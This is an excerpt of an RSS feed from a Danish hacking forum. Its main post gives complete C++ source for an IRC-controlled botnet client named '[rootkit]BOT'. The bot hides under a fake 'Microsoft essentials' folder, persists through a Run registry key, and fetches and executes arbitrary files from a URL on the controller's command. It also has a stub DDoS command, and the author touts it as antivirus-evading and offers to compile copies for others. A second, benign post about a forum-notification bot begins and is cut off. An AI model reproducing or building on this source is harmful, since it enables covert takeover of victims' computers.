					"Pragma: no-cache\n"<br />
					"User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\n"<br />
					"Accept-Encoding: gzip,deflate,sdch\n"<br />
					"Accept-Language: en-GB,en;q=0.8,en-US;q=0.6,da;q=0.4\n"<br />
					"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\n";<br />
<br />
	char *req = (char*)requests.c_str();<br />
<br />
	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN<br />
	if(sock_descriptor &lt; 0){<br />
		cout &lt;&lt; "Failed creating socket\n" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
<br />
	bzero((char *)&amp;serv_addr, sizeof(serv_addr));<br />
	server = gethostbyname(hostname);<br />
	if(server==NULL){<br />
		cout &lt;&lt; "Failed to find server name" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
<br />
	serv_addr.sin_family = AF_INET;<br />
	memcpy((char *) &amp;(serv_addr.sin_addr.s_addr), (char *)(server-&gt;h_addr), server-&gt;h_length);<br />
	serv_addr.sin_port = htons(80);  // Ensures integer interpretion is correct<br />
	if(connect(sock_descriptor, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0){<br />
		cout &lt;&lt; "Failed to connect to server" &lt;&lt; endl;<br />
		return 0;<br />
	}else{<br />
		cout &lt;&lt; "Succesfully connected" &lt;&lt; endl;<br />
	}<br />
	<br />
	cout &lt;&lt; "SEND: " &lt;&lt; req &lt;&lt; endl;<br />
	write(sock_descriptor, req, strlen(req));<br />
	bool isFile = false;<br />
	ofstream outFile;<br />
	outFile.open(updatedFilePath.c_str(), ios::out | ios::binary);<br />
	int bytes;<br />
	const char* phrase = "\r\n\r\n";<br />
	while(true){<br />
		memset(recvBuff, 0, MAX_SIZE);<br />
		if((bytes = read(sock_descriptor, recvBuff, sizeof(recvBuff)-1)) &gt; 0){<br />
					if(isFile){<br />
						outFile.write(recvBuff, bytes);<br />
						<br />
					}else{<br />
						char *remain = strstr(recvBuff, phrase);<br />
						remain += 4;<br />
						int len = bytes - (remain - recvBuff);<br />
						outFile.write(remain, len);<br />
						isFile = true;<br />
					}<br />
		}else{<br />
			outFile.close();<br />
			cout &lt;&lt; "Returning here";<br />
			return 1;<br />
		}<br />
	}<br />
	outFile.close();<br />
	cout &lt;&lt; "finished";<br />
	return 1;<br />
}<br />
<br />
<br />
void executeFile(){<br />
	int status;<br />
	if(system(NULL)){<br />
		status = system(executePath.c_str());<br />
		if(status==0){<br />
			exit(0);<br />
		}<br />
	}else{<br />
		return;<br />
	}<br />
}<br />
</code></pre></div></div>
<div><div class="spoiler_header">tools.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef TOOLS_H<br />
#define TOOLS_H<br />
<br />
#include &lt;string&gt;<br />
<br />
std::string findCurrentFilename();<br />
std::string getUsername();<br />
<br />
#endif<br />
</code></pre></div></div>
<div><div class="spoiler_header">tools.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;string&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;windows.h&gt;<br />
using namespace std;<br />
std::string findCurrentFilename(){<br />
<br />
	std::string filenamecor;<br />
	TCHAR dynFilename[MAX_PATH];<br />
	GetModuleFileName(NULL, dynFilename, MAX_PATH);<br />
  	char * pch;<br />
 <br />
 	pch = strtok (dynFilename,"\\");<br />
 	while (pch != NULL){<br />
   		filenamecor = pch;<br />
   		pch = strtok (NULL, "\\");<br />
   		<br />
  	}<br />
  	return filenamecor;<br />
}<br />
<br />
std::string getUsername(){<br />
	string username = getenv("USERNAME");<br />
	return username;<br />
}<br />
</code></pre></div></div>]]></description>
			<content:encoded><![CDATA[Begyndte at kode en IRC bot da jeg skulle lære lidt omkring C++ socket programming. Den virkede originalt til både linux, mac og windows, men det døde lidt da jeg tilføjede startup i den :)<br />
<br />
Første IRC bot i c++. Så don't hate.<br />
Konstruktiv kritik modtages meget gerne.<br />
Skriv evt. hvis i vil have nogle funktioner eller noget i den :)<br />
Compiler command: g++ -mwindows ircbotc2.cpp addstartup.cpp<br />
Compilet under windows 8 med cygwin.<br />
Download:  (Out-dated download link)<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Funktioner</span><ul class="mycode_list"><li>!HELP - Viser guide til commands<br />
</li>
<li>!UPDATE - Opdatere botten til en nyere version med det link du giver den.<br />
</li>
<li>!DDOS - DDoS funktion (Not implemented)<br />
</li>
<li>!EXECUTE - Henter fil fra URL og eksekvere den på systemet<br />
</li>
</ul>
<br />
<br />
OBS: Hvis folk har problemer med compilere, kildekode osv. Kan i til hver en tid blot skrive i denne tråd hvis jeg skal lave en binary til jer. Så bare skriv hvad jeres fulde navn(altså på IRC) er + hvad channel den skal joine. Så skal jeg nok compile en til jer :)<br />
<br />
<br />
EDIT: Opdateret 5-27-2013 og nu tilføjet en update funktion så man nu kan opdatere den til at downloade en ny executable. Opdaterings funktionen bruger Berkeley sockets til at snakke med HTTP protokollen og hente en given fil. <br />
Ja det er nok meget at skrive 130 linjer for en download funktion, men så er den til gengæld også FUD. Hvis man bruger one-lineren <a href="http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx" target="_blank" rel="noopener" class="mycode_url">http://msdn.microsoft.com/en-us/library/...s.85).aspx</a> er den detected med det samme.<br />
Desuden er min nu også cross compatible. Dog skal der fixes nogle paths hvis den skal ud på andre operativ systemer end windows.<br />
Testet på windows 8 x64.<br />
<br />
<div><div class="spoiler_header">ircbotv2.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">/*<br />
<br />
AT Coded by: 		  		Morph3s AT shellsec<br />
AT Version: 					0.2<br />
AT Project start date:  		4/25/2013<br />
AT Purpose:					Save me from boredom on a wednesday night<br />
<br />
*/<br />
<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;string&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;map&gt;<br />
#include "addstartup.h"<br />
#include "update.h"<br />
#include "tools.h"<br />
<br />
#define MAX_SIZE 1024   // Max size for receiving buffer<br />
char hostname[] = "irc.voxanon.net"; // Define the IRC hostname<br />
<br />
<br />
std::string controller = ":Morph3s!Morph3sATshellsec.pw";   // Who should control the bot ? <br />
std::string botname = "[rootkit]BOT";						// The bot standard name. Numbers will be added to make name unique<br />
std::string channame = "#bottest";							// The channel it shoul join<br />
<br />
int sock_descriptor; // integer number to access socket<br />
struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct<br />
struct hostent *server; // from netdb.h to determine host name out of ip address<br />
char recvBuff[MAX_SIZE];  // Receiving buffer <br />
std::map&lt;std::string, int&gt; commands;<br />
<br />
<br />
int CMDARRSIZE = 0;<br />
<br />
int recieveHandlingCommand(std::string *strArrs, int where);<br />
int findWord(std::string, std::string);<br />
int initializeBot();<br />
int startListening();<br />
int cleanUp();<br />
int initializeCommands();<br />
int sendMessage(char message[]);<br />
int sendAuth();<br />
int showHelp();<br />
int ddos(std::string *strArrs, int where);<br />
int updateBot(std::string *strArrs, int where);<br />
std::string* tokenizer(char buff[]);<br />
<br />
char *stringToChar(std::string target);<br />
<br />
<br />
int main(){<br />
<br />
	std::cout &lt;&lt; "Morph3s IRC bot." &lt;&lt; std::endl;<br />
	initializeCommands();<br />
	initializeBot();<br />
	startListening();<br />
<br />
	cleanUp();<br />
}<br />
<br />
<br />
<br />
char *stringToChar(std::string target){<br />
	<br />
	char *charfi = new char[target.size()+1];<br />
	memcpy(charfi, target.c_str(), target.size()+1);<br />
	return charfi;<br />
}<br />
<br />
int sendMessage(char message[]){<br />
	std::cout &lt;&lt; "SEND: " &lt;&lt; message &lt;&lt; std::endl;<br />
	write(sock_descriptor, message, strlen(message));<br />
	return 0;<br />
}<br />
int cleanUp(){<br />
	close(sock_descriptor);<br />
}<br />
<br />
<br />
std::string* tokenizer(char buff[]){<br />
<br />
	//Counting fase:<br />
	int count = 0;<br />
	std::istringstream inputSplit(recvBuff);<br />
	std::string command;<br />
	while(inputSplit){<br />
		inputSplit &gt;&gt; command;<br />
		count++;<br />
	}<br />
<br />
<br />
	std::string *stringArr = new std::string[count];<br />
	std::cout &lt;&lt; "COUNT EQUALS: " &lt;&lt; count &lt;&lt; std::endl;<br />
	count = 0;<br />
	std::istringstream inputSplit2(recvBuff);<br />
	std::string command2;<br />
	while(inputSplit2){<br />
<br />
		inputSplit2 &gt;&gt; command2;<br />
		stringArr[count] = command2;<br />
		//std::cout &lt;&lt; "ITERATING OVER: " &lt;&lt; command2 &lt;&lt; "   NUMBER IS: " &lt;&lt; count &lt;&lt; std::endl;<br />
		count++;<br />
 	}<br />
<br />
 	CMDARRSIZE = count;<br />
 	return stringArr;<br />
}<br />
<br />
int initializeCommands(){<br />
	commands["Auth"] = 1;  // Send authentication messages<br />
	commands["PING"] = 2;  // Send a pong<br />
	commands["PRIVMSG"] = 3; // You got a private message.<br />
	commands[controller] = 4; // Who's the botherder <br />
	commands[":!DDOS"] = 5; // DDoS something <br />
	commands[":!UPDATE"] = 6; // Update file<br />
	commands[":!HELP"] = 7; // Show help file<br />
}<br />
<br />
int startListening(){<br />
	<br />
	while(true){<br />
		memset(recvBuff, 0, MAX_SIZE);<br />
		if(read(sock_descriptor, recvBuff, sizeof(recvBuff)-1) &gt; 0){<br />
			std::cout &lt;&lt; "RECV: " &lt;&lt; recvBuff &lt;&lt; std::endl;<br />
		}else{<br />
			return 0;<br />
		}<br />
<br />
		std::string* strArr = tokenizer(recvBuff);<br />
		for(int a=0; a&lt;CMDARRSIZE;a++){<br />
			//std::cout &lt;&lt; "Checking for: " &lt;&lt; strArr[a] &lt;&lt; " in " &lt;&lt; commands[strArr[a]] &lt;&lt; std::endl;<br />
			switch(commands[strArr[a]]){<br />
				case 1:<br />
					sendAuth();<br />
					break;<br />
				case 2:<br />
					sendMessage("PONG");<br />
					break;<br />
<br />
				case 3:<br />
					break;<br />
				case 4:<br />
					recieveHandlingCommand(strArr, a);<br />
					break;<br />
			}<br />
		}<br />
	}<br />
}<br />
<br />
<br />
int recieveHandlingCommand(std::string *strArrs, int where){<br />
<br />
<br />
	std::cout &lt;&lt; "Here it is: " &lt;&lt; strArrs[where] &lt;&lt; std::endl;<br />
	<br />
<br />
<br />
<br />
	//We are getting a message from the botherder<br />
	if(findWord(strArrs[(where+1)], "PRIVMSG")){<br />
		std::cout &lt;&lt; "FOUND" &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+3)]] &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+2)]] &lt;&lt; std::endl;<br />
		std::cout &lt;&lt; "Here is: " &lt;&lt; commands[strArrs[(where+1)]] &lt;&lt; std::endl;<br />
		switch(commands[strArrs[(where+3)]]){<br />
			case 5:<br />
				ddos(strArrs, where+3);<br />
				break;<br />
			case 6:<br />
				updateBot(strArrs, where+3);<br />
				break;<br />
			case 7:<br />
				showHelp();<br />
				break;	<br />
		}	<br />
	}<br />
}<br />
<br />
<br />
int showHelp(){<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Coded by Morph3sATshellsec\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :***COMMANDS***\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :!DDOS &lt;target&gt; &lt;port&gt; &lt;method&gt;\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :!UPDATE &lt;url&gt;\n\r"));<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :More info at <a href="http://www.shellsec.pw" target="_blank" rel="noopener" class="mycode_url">www.shellsec.pw</a>\n\r"));<br />
}<br />
<br />
<br />
// DDoS Function ready to be added<br />
int ddos(std::string *strArrs, int where){<br />
	std::string target = strArrs[where+1];<br />
	std::string port = strArrs[where+2]; <br />
	std::string method = strArrs[where+3];<br />
	<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Engaged DDOS against: "+target+":"+port+" with "+method+"\n\r"));<br />
<br />
}<br />
<br />
// Update code ready to be added<br />
int updateBot(std::string *strArrs, int where){<br />
	std::string url = strArrs[where+1];;<br />
	sendMessage(stringToChar("PRIVMSG "+channame+" :Updating bot with new source from: "+url+"\n\r"));<br />
	updateBotFunc(url);<br />
}<br />
//Authenticate with irc server. Just basic commands<br />
int sendAuth(){<br />
	sendMessage(stringToChar("NICK "+botname+"\n\r"));<br />
    sendMessage(stringToChar("USER "+botname+" 8 *:Lulz da machine\n\r"));<br />
    sendMessage(stringToChar("JOIN "+channame+"\n\r"));<br />
<br />
}<br />
int initializeBot(){<br />
	// Setting unique bot name<br />
	int lol = addToStartup();<br />
	srand(time(NULL));<br />
	int uniq = rand() % 1000 + 1;<br />
	std::cout &lt;&lt; "THIS IS UNIQUE" &lt;&lt; uniq &lt;&lt; std::endl;<br />
	// Setting sockets<br />
	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN<br />
	if(sock_descriptor &lt; 0){<br />
		std::cout &lt;&lt; "Failed creating socket\n" &lt;&lt; std::endl;<br />
	}<br />
	bzero((char *)&amp;serv_addr, sizeof(serv_addr));<br />
	server = gethostbyname(hostname);<br />
	if(server==NULL){<br />
		std::cout &lt;&lt; "Failed to find server name" &lt;&lt; std::endl;<br />
		return 0;<br />
	}<br />
	serv_addr.sin_family = AF_INET;<br />
	memcpy((char *) &amp;(serv_addr.sin_addr.s_addr), (char *)(server-&gt;h_addr), server-&gt;h_length);<br />
<br />
	serv_addr.sin_port = htons(6667);  // Ensures integer interpretion is correct<br />
	if(connect(sock_descriptor, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0){<br />
		std::cout &lt;&lt; "Failed to connect to server" &lt;&lt; std::endl;<br />
	}else{<br />
		std::cout &lt;&lt; "Succesfully connected" &lt;&lt; std::endl;<br />
	}<br />
<br />
}<br />
<br />
int findWord(std::string text, std::string word){<br />
	if(std::string::npos != text.find(word)){<br />
		return 1;<br />
	}else{<br />
		return 0;<br />
<br />
	}<br />
	<br />
}<br />
</code></pre></div></div><div><div class="spoiler_header">addstartup.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef ADDSTARTUP_H<br />
#define ADDSTARTUP_H<br />
<br />
int addToStartup();<br />
<br />
<br />
#endif<br />
</code></pre></div></div><div><div class="spoiler_header">addstartup.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;cstdlib&gt;<br />
#include "tools.h"<br />
<br />
using namespace std;<br />
<br />
<br />
<br />
string folderName = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials";<br />
<br />
<br />
int addToStartup(){<br />
<br />
	string filenamecor = findCurrentFilename();<br />
<br />
	//Check if folder is there. If not create it. <br />
	if(CreateDirectory(folderName.c_str(), NULL)){<br />
<br />
	}else{<br />
		cout &lt;&lt; "Could not create folder. I'll assume it's already there" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
	<br />
	//Move file to dir<br />
	<br />
	char *fileName = (char *)filenamecor.c_str();<br />
	cout &lt;&lt; "Filename is: " &lt;&lt; fileName &lt;&lt; endl;<br />
	string path = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\lol.exe\0";<br />
	if(CopyFile(fileName, path.c_str(), true)){<br />
		cout &lt;&lt; "Succesfully moved file" &lt;&lt; endl;<br />
	}<br />
<br />
	//Folder is valid. Create key<br />
	HKEY key;<br />
	DWORD dwDisposition; <br />
	if((RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, 0, KEY_WRITE, NULL, &amp;key, &amp;dwDisposition))==ERROR_SUCCESS){<br />
		DWORD dwType, dwSize;<br />
		dwSize = path.size();<br />
		RegSetValueEx(key, TEXT("Microsoft essentials"), 0, REG_SZ, (LPBYTE)path.c_str(), dwSize);<br />
  		RegCloseKey(key);<br />
		cout &lt;&lt; "Succesfully created key!";<br />
	}else{<br />
<br />
		cout &lt;&lt; "Could not create key!";<br />
	}<br />
<br />
<br />
}<br />
</code></pre></div></div>
<div><div class="spoiler_header">update.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef UPDATE_H<br />
#define UPDATE_H<br />
<br />
#include &lt;string&gt;<br />
<br />
int updateBotFunc(std::string);<br />
<br />
<br />
#endif<br />
</code></pre></div></div>
<div><div class="spoiler_header">update.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp"><br />
<br />
#include &lt;fstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;string&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;map&gt;<br />
#include &lt;windows.h&gt;<br />
#include "tools.h"<br />
<br />
using namespace std;<br />
#define MAX_SIZE 1024   // Max size for receiving buffer<br />
<br />
<br />
string updatedFilePath;<br />
string executePath;<br />
<br />
<br />
int updateServer(string);<br />
void executeFile();<br />
<br />
int updateBotFunc(string updateUrl){<br />
	cout &lt;&lt; "Welcome to the update function" &lt;&lt; endl;<br />
	<br />
	//Renaming old file to make room for new one.<br />
	string filenamecor = findCurrentFilename();<br />
	string filenamecore = filenamecor + ".old";<br />
	rename(filenamecor.c_str(), filenamecore.c_str());<br />
<br />
<br />
	updatedFilePath = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\" + filenamecor;<br />
	executePath = "C:/Users/"+getUsername()+"/AppData/Local/\"Microsoft essentials\"/" + filenamecor;<br />
	<br />
	string host = updateUrl;<br />
	if(updateServer(host)){<br />
		executeFile();<br />
	}<br />
}<br />
int updateServer(string updateUrl){<br />
	char *buff = (char*)updateUrl.c_str();	<br />
	const char* delim = "/";<br />
	string path = strstr(buff, delim);<br />
	string hstnameString = updateUrl.substr(0, (updateUrl.size()-path.size()));<br />
	int sock_descriptor; // integer number to access socket<br />
	struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct<br />
	struct hostent *server; // from netdb.h to determine host name out of ip address<br />
	char recvBuff[MAX_SIZE];  // Receiving buffer <br />
	char *hostname; <br />
	hostname = (char*)hstnameString.c_str(); // Location of file<br />
<br />
	// Http request to retrieve file<br />
	string requests = "GET "+path+" HTTP/1.0\n"<br />
					"Host: "+hstnameString+"\n"<br />
					"Connection: keep-alive\n"<br />
					"Cache-Control: no-cache\n"<br />
					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n"<br />
					"Pragma: no-cache\n"<br />
					"User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\n"<br />
					"Accept-Encoding: gzip,deflate,sdch\n"<br />
					"Accept-Language: en-GB,en;q=0.8,en-US;q=0.6,da;q=0.4\n"<br />
					"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\n";<br />
<br />
	char *req = (char*)requests.c_str();<br />
<br />
	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN<br />
	if(sock_descriptor &lt; 0){<br />
		cout &lt;&lt; "Failed creating socket\n" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
<br />
	bzero((char *)&amp;serv_addr, sizeof(serv_addr));<br />
	server = gethostbyname(hostname);<br />
	if(server==NULL){<br />
		cout &lt;&lt; "Failed to find server name" &lt;&lt; endl;<br />
		return 0;<br />
	}<br />
<br />
	serv_addr.sin_family = AF_INET;<br />
	memcpy((char *) &amp;(serv_addr.sin_addr.s_addr), (char *)(server-&gt;h_addr), server-&gt;h_length);<br />
	serv_addr.sin_port = htons(80);  // Ensures integer interpretion is correct<br />
	if(connect(sock_descriptor, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0){<br />
		cout &lt;&lt; "Failed to connect to server" &lt;&lt; endl;<br />
		return 0;<br />
	}else{<br />
		cout &lt;&lt; "Succesfully connected" &lt;&lt; endl;<br />
	}<br />
	<br />
	cout &lt;&lt; "SEND: " &lt;&lt; req &lt;&lt; endl;<br />
	write(sock_descriptor, req, strlen(req));<br />
	bool isFile = false;<br />
	ofstream outFile;<br />
	outFile.open(updatedFilePath.c_str(), ios::out | ios::binary);<br />
	int bytes;<br />
	const char* phrase = "\r\n\r\n";<br />
	while(true){<br />
		memset(recvBuff, 0, MAX_SIZE);<br />
		if((bytes = read(sock_descriptor, recvBuff, sizeof(recvBuff)-1)) &gt; 0){<br />
					if(isFile){<br />
						outFile.write(recvBuff, bytes);<br />
						<br />
					}else{<br />
						char *remain = strstr(recvBuff, phrase);<br />
						remain += 4;<br />
						int len = bytes - (remain - recvBuff);<br />
						outFile.write(remain, len);<br />
						isFile = true;<br />
					}<br />
		}else{<br />
			outFile.close();<br />
			cout &lt;&lt; "Returning here";<br />
			return 1;<br />
		}<br />
	}<br />
	outFile.close();<br />
	cout &lt;&lt; "finished";<br />
	return 1;<br />
}<br />
<br />
<br />
void executeFile(){<br />
	int status;<br />
	if(system(NULL)){<br />
		status = system(executePath.c_str());<br />
		if(status==0){<br />
			exit(0);<br />
		}<br />
	}else{<br />
		return;<br />
	}<br />
}<br />
</code></pre></div></div>
<div><div class="spoiler_header">tools.h <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#ifndef TOOLS_H<br />
#define TOOLS_H<br />
<br />
#include &lt;string&gt;<br />
<br />
std::string findCurrentFilename();<br />
std::string getUsername();<br />
<br />
#endif<br />
</code></pre></div></div>
<div><div class="spoiler_header">tools.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;string&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;windows.h&gt;<br />
using namespace std;<br />
std::string findCurrentFilename(){<br />
<br />
	std::string filenamecor;<br />
	TCHAR dynFilename[MAX_PATH];<br />
	GetModuleFileName(NULL, dynFilename, MAX_PATH);<br />
  	char * pch;<br />
 <br />
 	pch = strtok (dynFilename,"\\");<br />
 	while (pch != NULL){<br />
   		filenamecor = pch;<br />
   		pch = strtok (NULL, "\\");<br />
   		<br />
  	}<br />
  	return filenamecor;<br />
}<br />
<br />
std::string getUsername(){<br />
	string username = getenv("USERNAME");<br />
	return username;<br />
}<br />
</code></pre></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++] IRC bot til overvågning af forum posts]]></title>
			<link>https://www.shellsec.pw/traad-c-irc-bot-til-overvaagning-af-forum</link>
			<pubDate>Wed, 24 Apr 2013 18:17:43 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-irc-bot-til-overvaagning-af-forum</guid>
			<description><![CDATA[Så er mit værk færdigt!<br />
Dette er en IRC bot, der placerer sig på vores IRC channel og holder fast i forbindelsen indtil den skal noget. Samtidig åbnes en socket, som er klar til at modtage data der skal skrives i chatten. Skide genialt, da dette kan bruges i samarbejde med en masse andre programmer, her bruger vi den så sammen med MyBB, så derfor har jeg kaldt den BB2IRC.<br />
<br />
Det den gør er simpelt, når en besked bliver oprettet på forummet, sendes en besked til bottens åbne socket (INC_IP:INC_PORT).<br />
Med PHP har jeg gjort dette med noget så simpelt som dette:<br />
<pre class="line-numbers"><code class="language-php">&lt;?php<br />
        &#36;msgtype = array("oprettet en tråd med titlen", "besvaret tråden");<br />
        &#36;title = &#36;_GET['title'];<br />
        &#36;user = &#36;_GET['user'];<br />
        &#36;link = "http://shellsec.pw/showthread.php?tid=" . &#36;_GET['tid'] . "&amp;pid=" . &#36;_GET['pid'] . "#pid" . &#36;_GET['pid'];<br />
        &#36;msg = &#36;user . " har " . &#36;msgtype[&#36;_GET['type']] . " \"" . &#36;title . "\"" . &#36;INC_DELIM . &#36;link;<br />
 <br />
        &#36;sockfd = fsockopen(&#36;INC_IP, &#36;INC_PORT, &#36;errno, &#36;errstr, 120);<br />
        if(!&#36;sockfd){<br />
                die();<br />
        }else{<br />
                fwrite(&#36;sockfd, &#36;msg);<br />
                fclose(&#36;sockfd);<br />
        }<br />
?&gt;</code></pre>
<br />
Et eksempel på en besked oprettes således ved en query til serveren med denne querystring: <br />
?user=Doctor%20Blue&amp;type=0&amp;title=[C++]%20IRC%20bot%20til%20overvågning%20af%20forum%20posts&amp;tid=207&amp;pid=<br />
&#36;INC_DELIM repræsenterer det tegn, der også sættes som konstanten INC_DELIM i botten, og er altså det tegn der indikerer en ny linje.<br />
Output vil altså være:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Botnick: Doctor Blue har oprettet en tråd med titlen [C++] IRC bot til overvågning af forum posts<br />
Botnick: <a href="http://shellsec.pw/showthread.php?tid=207&amp;pid=#pid" target="_blank" rel="noopener" class="mycode_url">http://shellsec.pw/showthread.php?tid=207&amp;pid=#pid</a></blockquote>
<br />
og så har vi selve botten her:<br />
<div><div class="spoiler_header">botten <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;vector&gt;<br />
#include &lt;unistd.h&gt;<br />
